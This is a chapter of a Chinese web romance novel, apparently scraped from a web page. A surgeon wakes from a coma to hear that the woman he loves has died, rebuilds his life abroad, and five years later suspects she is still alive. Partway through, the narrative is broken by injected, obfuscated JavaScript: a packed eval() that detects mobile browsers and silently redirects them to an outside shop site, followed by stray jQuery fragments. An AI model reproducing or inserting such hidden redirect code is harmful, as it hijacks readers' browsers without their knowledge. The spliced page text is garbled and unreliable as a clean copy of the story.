顾斯辰感觉自己做了一个很长很长的梦，意识陷在一团温热的棉絮里，在清醒与混沌的边缘反复拉扯。
他梦到高二那个闷热的暑假。
韩莞尔背着双肩包堵在他家楼下，眼睛弯成月牙儿，晃着他校服袖子撒娇：“顾斯辰，就借我抄数学卷子嘛，下次月考帮你带早饭！”
他刻意忽略她拽着自己衣角的力道，可那力道很执着，不愿意放手。
最后还是拗不过她，跟着回了她家。
阳光斜斜切过桌面，把她的影子清晰地拓在练习册上。
他靠在椅背上转笔，转头便看到她边抄边快要睡过去的样子。
笔尖在纸上划过的沙沙声突然变慢，脑袋一点一点像啄米的小鸡，额前碎发垂下来遮住眼睛。
他握着笔的手一顿，忍不住伸手去拨开她额前掉下来的碎发。
笔尖“嗒”地磕在桌上，韩莞尔猛地惊醒，揉着眼睛抬头时，睫毛上还沾着几分湿意，含混地嘟囔：“快、快写完了……”
顾斯辰终于没忍住笑出声。
梦境像被人操纵着的胶片，咔嗒一声切换了场景。
还是并排的书桌，却是费城那间月租1200美元的出租屋里。
韩莞尔把双手垫在下巴下，胳膊肘蹭着他的，直勾勾的目光像黏人的小猫。
“你看我做什么？”顾斯辰心头泛起一阵酥麻。
桌角的台灯投下暖黄的光，刚好照亮她脸颊的梨涡。
“你的眉毛好浓。”她笑着说。
顾斯辰立刻警惕地皱眉，把掌心横在她眼前，“你可别想再用你那个染眉膏了。”
韩莞尔将他的手拨下来，笑着朝他扑过来，“我要是用了会怎么样？”
他故意往旁边躲，却在她快要扑空时伸手稳稳扶住她的腰，指尖触到她卫衣下温热的肌肤，两人闹作一团。
她笑着跑出了房门，粉色拖鞋在走廊上踩出哒哒的声响，像敲在他的心尖上。
顾斯辰心里感觉到了一阵恐慌，当他追出去时，楼道里的声控灯被脚步声震得一盏盏亮起又熄灭，昏暗的光线下，他看见韩莞尔的身影在尽头晃了晃。
可他怎么跑都追不上，脚下像灌了铅般沉重，喉咙里像堵着一团浸了水的棉花，拼尽全力想喊她的名字，却只能发出破碎的气音。
周围突然变得嘈杂，有人在急切地喊他的名字，那声音很像韩莞尔，又带着陌生的焦灼，一点点将他从梦境里拽出来。
“韩莞尔！”
顾斯辰猛地喊出声，睫毛剧烈地颤动着睁开眼。
白色的天花板有些许刺眼，消毒水的刺鼻气味钻进鼻腔。
身旁传来椅子拖动的刺耳声响，他艰难地侧头，看见徐秀慧僵在原地，手里的保温桶“哐当”一声砸在地上。
“斯辰！你终于醒了！”徐秀慧的声音带着浓重的疲惫，手指颤抖着去按床头的呼叫铃。
自从他在宴会厅被水晶吊灯砸到后整整昏迷了三天。
“韩莞尔呢？她在哪里？”顾斯辰的心底涌起一股不祥的预感。
徐秀慧气不打从一出来，她刻意别过脸，声音冷得像寒冬里的冰棱：“她已经死了。”
“死了？你在跟我开玩笑对不对？”顾斯辰以为自己出现了幻听，挣扎着想要撑起上半身，左手背上扎着输液针，胶带开始撕扯。
“我没有骗你，她那天离开后发生了车祸。”徐秀慧终于转回头，扑过来死死按住他的肩膀。
“车祸……我不信，我要去找他。”顾斯辰挣扎着要爬起来，想要拔针头，却发现自己的右手使不上力气。
“你这个样子还能做什么？医生说玻璃砸到了你右手的筋脉，这辈子都不能拿手术刀了，你为了她变成这样又是何苦呢？”徐秀慧气得流出了眼泪。
“因为我爱她啊。你又不是不知道，我一直都爱她啊。”顾斯辰突然安静下来，像被抽走了所有力气，眼底的光一点点熄灭，像被狂风吹灭的烛火，只余下几点火星在挣扎。
“啪”的一声脆响，清脆的耳光落在顾斯辰的左脸上。
徐秀慧的手还僵在半空，指尖微微颤抖，“清醒点！你爱她，可她根本不爱你！你到现在还不明白吗？她心里从来都只有顾斯俊！”
“够了！我不想听！”顾斯辰嘶吼出声，脸颊上的痛感和心口的剧痛交织在一起，喉咙里泛起一股铁锈般的血腥味。
“你知道她为什么爱顾斯俊吗？”徐秀慧拔高了声音，哭喊道，“因为顾斯俊比你优秀，年纪轻轻就懂得如何讨好所有人，如今正在逐渐获得想要的一切，而你呢，你想要的却……”
“我不知道，我什么都不想要，我只想要韩莞尔。”顾斯辰打断她，眼神空洞地望向窗边。
“她已经死了！你再也见不到她了。”徐秀慧的声音带着彻底崩溃的哭腔，每一个字都像重锤，砸在顾斯辰的心上。
顾斯辰静静地看着徐秀慧，试图从她脸上找到谎言的痕迹。
可他只看到了绝望的真实。
“我去找医生。”徐秀慧被他看得心慌，狠狠抹了把眼泪，转身快步走出病房，房门“砰”地一声被摔上，震得墙壁都微微发麻。
病房里瞬间恢复寂静，只剩下心电监护仪规律的“滴滴”声，像在为他死去的爱情倒计时。
顾斯辰维持着坐立的姿势，像一尊没有灵魂的石像。
右手还在微微发麻，那是筋脉断裂后残留的刺痛感，可这点疼，远不及心口那片空洞的剧痛来得尖锐。
他能清晰地感觉到意识一点点抽离，像退潮的海水般慢慢褪去，露出心底荒芜的滩涂，那里曾经种满了关于韩莞尔的憧憬，如今只剩下一片废墟。
在很长的一段康复时间里，他都像行尸走肉，甚至得了失语症。
每天坐在轮椅上盯着窗外的梧桐树，从日出到日落，眼神空洞得没有一丝波澜。
机械地张嘴吃饭，僵硬地配合各种康复，像个没有思想的木偶，对周围的一切都失去了兴趣。
等到能独自个人生活后，他在宋远航的帮助下，订了一张费城的机票，离开了S市。
在费城，他没再踏进医学院的大门，而是递交了商学院的申请，开始从头学习枯燥的金融模型和数据分析。
他住在离曾经出租屋三条街的公寓里，偶尔会路过那栋老旧的楼房，却从来没有勇气走进去看看。
五年之后。
顾斯辰穿着一身剪裁得体的定制西装，站在自家投资公司顶层的落地窗前，手里把玩着一支银色钢笔。
窗外的车水马龙映在他眼底，霓虹闪烁，却再也没有哪道身影，能让他沉寂的眼底泛起一丝涟漪。
放在办公桌上的私人手机震动起来，屏幕上跳跃的“宋远航”三个字让他紧绷的眉峰微微松动。
他接起电话，还没来得及开口，就听见那头吊儿郎当的声音裹着嘈杂的背景音涌过来：“大忙人顾总，可别忘了今晚来给小弟过生辰啊！”
“知道了，地址发我。”顾斯辰瞥了眼窗外沉下来的暮色，声音带着惯有的沉稳。
“那必须的！记得准时来哦。”
宋远航这人从小在学习上没什么天赋，在生意上的头脑却是极好的，这两年生意越做越大，涉猎宽泛，认识了不同圈子的人。
本来顾斯辰还有顾虑今晚又要应付一些人，没想到宋远航发来的地址居然是“星夜”静吧。
他们之前经常去的那家。
前段时间新装修，原本逼仄的空间拓宽了不少。
服务员领着顾斯辰穿过长廊，推开最里侧的包厢门时，他愣了愣——
包厢里只亮着暖黄的壁灯，宋远航翘着二郎腿陷在沙发里，手里转着个空酒杯，偌大的包厢里连个服务生都没有。
“你不会只叫了我一个人吧？”顾斯辰一想到自己一个大男人要帮宋远航单独过生日，有点恶寒。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263743|196695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
宋远航挑了下眉：“怎么？你嫌弃我了？”
“……”顾斯辰转身就要走到门边，“你身边莺莺燕燕那么多，随便找几个人陪你不就好了，我可不会给人唱生日歌切蛋糕。”
宋远航撑着门框把人堵在中间，眼底藏着笑意，“你这人咋这么不经逗？”
话音刚落，包厢门就被从外面推开，一道洪亮的声音撞进来：“Surprise！”
顾斯辰回头，就看见高博明穿着笔挺的军装，怀里抱着个双层的奶油蛋糕，最上面还有个照着宋远航样子做的卡通小人。
“我这不是怕人多吵得你们心烦嘛，咱仨好久没单独聚了。”宋远航给了高博明的后背轻轻一拳。
“你俩怎么了？状态不对啊。”高博明把蛋糕往茶几上一放，一脸莫名。
“兄弟，你见到我难道不高兴吗？我们都多少年没见了。”高博明用胳膊刚圈住顾斯辰的肩膀，就被他借着转身的力道往旁边一甩。
“你怎么从部队出来了？不是说今年晋升关键期，不能随便请假吗？”顾斯辰一边说着，一边在沙发坐下。
高博明脸上的笑容瞬间垮下来，“陶玥玥说她要结婚了，我请假出来看看她到底找了个什么样的男的。”
顾斯辰拍了拍他的肩，什么也没说。
有些事，安慰的话反而显得多余。
倒是宋远航踹了高博明一脚，指着茶几上的蛋糕，“喂，今天是我生日诶，你们两个能不能先祝我生日快乐下。”
高博明立刻顺坡下驴，从酒柜里拿出了一瓶酒，“不说了，我们情谊都在酒里。”
三个很多年没见的人，见了面仿佛又回到了学生时代，不知不觉酒过三巡，讲了很多话。
中途，高博明抱着话筒鬼哭狼嚎开始唱歌。
宋远航出门接了个电话。
顾斯辰耳朵被吵得疼，喝多了的高博明还要拉着他一起唱，他决定出门找宋远航求救。
长廊尽头的小阳台挂着串风灯，昏黄的光里，他远远就看见宋远航倚着栏杆抽烟，烟蒂的火星在夜色里一明一暗。
走近了，才听见他压抑的怒声：“金乐喜！你转告她，她现在不是当年那个能耍性子的大小姐了！”
“我们是开娱乐公司的，不是慈善堂，她要是想退圈养老，趁早别干。”宋远航的声音里满是戾气，手指把烟蒂捏得变形。
“你|他|妈现在才知道我是个冷血的人啊，对，我就是冷血怎么了？钱谁不想多赚啊……”
顾斯辰等他挂电话，才走过去。
宋远航回头看见他，眼神明显慌了一下，忙把烟蒂摁在阳台的烟灰缸里，指尖在栏杆上蹭了蹭，试图掩饰刚才的失态。
“发这么大火啊？出什么事了？”顾斯辰靠在栏杆上，目光落在远处霓虹闪烁的街景。
宋远航抠了抠眉毛，避开他的视线：“就……一个刚火起来的小艺人，仗着有点流量就不想参加酒局。”
“你和金乐喜？”顾斯辰刚刚只听到这个熟悉的名字。
整个圈子谁不知道，宋远航的娱乐公司里，金乐喜是唯一能让他失控的人。
宋远航难得没嘴硬，自嘲地笑了笑，从烟盒里又抽出一根烟，却被顾斯辰按住了手腕。
“还是老样子，我们俩啊，就是天生的冤家，互相折磨一辈子才算完。”
他叹了口气，正要点火，就听见顾斯辰低沉的声音：“你们……有没有韩莞尔的消息？”
“韩莞尔？”宋远航拿烟的手猛地一顿，烟盒“啪”地掉在栏杆上，“呵呵，兄弟，你是喝蒙了吗？”
宋远航强装镇定地捡起烟盒。
顾斯辰却转过头，眼底映着风灯的光，带着一种近乎执拗的认真，“其实我一直认为她没有死。”
宋远航心脏狂跳，避开了他的目光，推着他往包厢走，“你可别吓我了，我今天好歹是寿星，走走走，继续喝点，不醉不归。”